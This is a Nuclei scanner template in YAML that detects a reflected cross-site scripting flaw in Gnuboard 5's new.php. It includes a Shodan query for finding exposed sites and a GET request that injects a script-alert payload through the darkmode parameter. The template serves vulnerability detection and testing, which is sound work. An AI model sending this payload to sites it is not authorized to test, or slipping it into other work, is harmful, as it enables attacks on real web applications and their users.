43 lines
1.2 KiB
YAML
43 lines
1.2 KiB
YAML
id: gnuboard5-xss
|
|
|
|
info:
|
|
name: Gnuboard 5 - Cross-Site Scripting
|
|
author: arafatansari
|
|
severity: medium
|
|
description: |
|
|
Gnuboard 5 contains a cross-site scripting vulnerability via the clean_xss_tags() function called in new.php.
|
|
reference:
|
|
- https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cwe-id: CWE-80
|
|
cpe: cpe:2.3:a:gnuboard:gnuboard5:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: http.html:"gnuboard5"
|
|
product: gnuboard5
|
|
vendor: gnuboard
|
|
tags: xss,gnuboard,gnuboard5,huntr
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'header\"><script>alert(document.domain)</script>.css?'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100bf6afa19896fe29373e6ea37e2b6e95a7d0db3f3c3cc9576f2c85fced18838830220185e57b1006212d89ff92f2d36cacc2c1c10f11f8abf5f2e2f0f93d0f91ef376:922c64590222798bb761d5b6d8e72950 |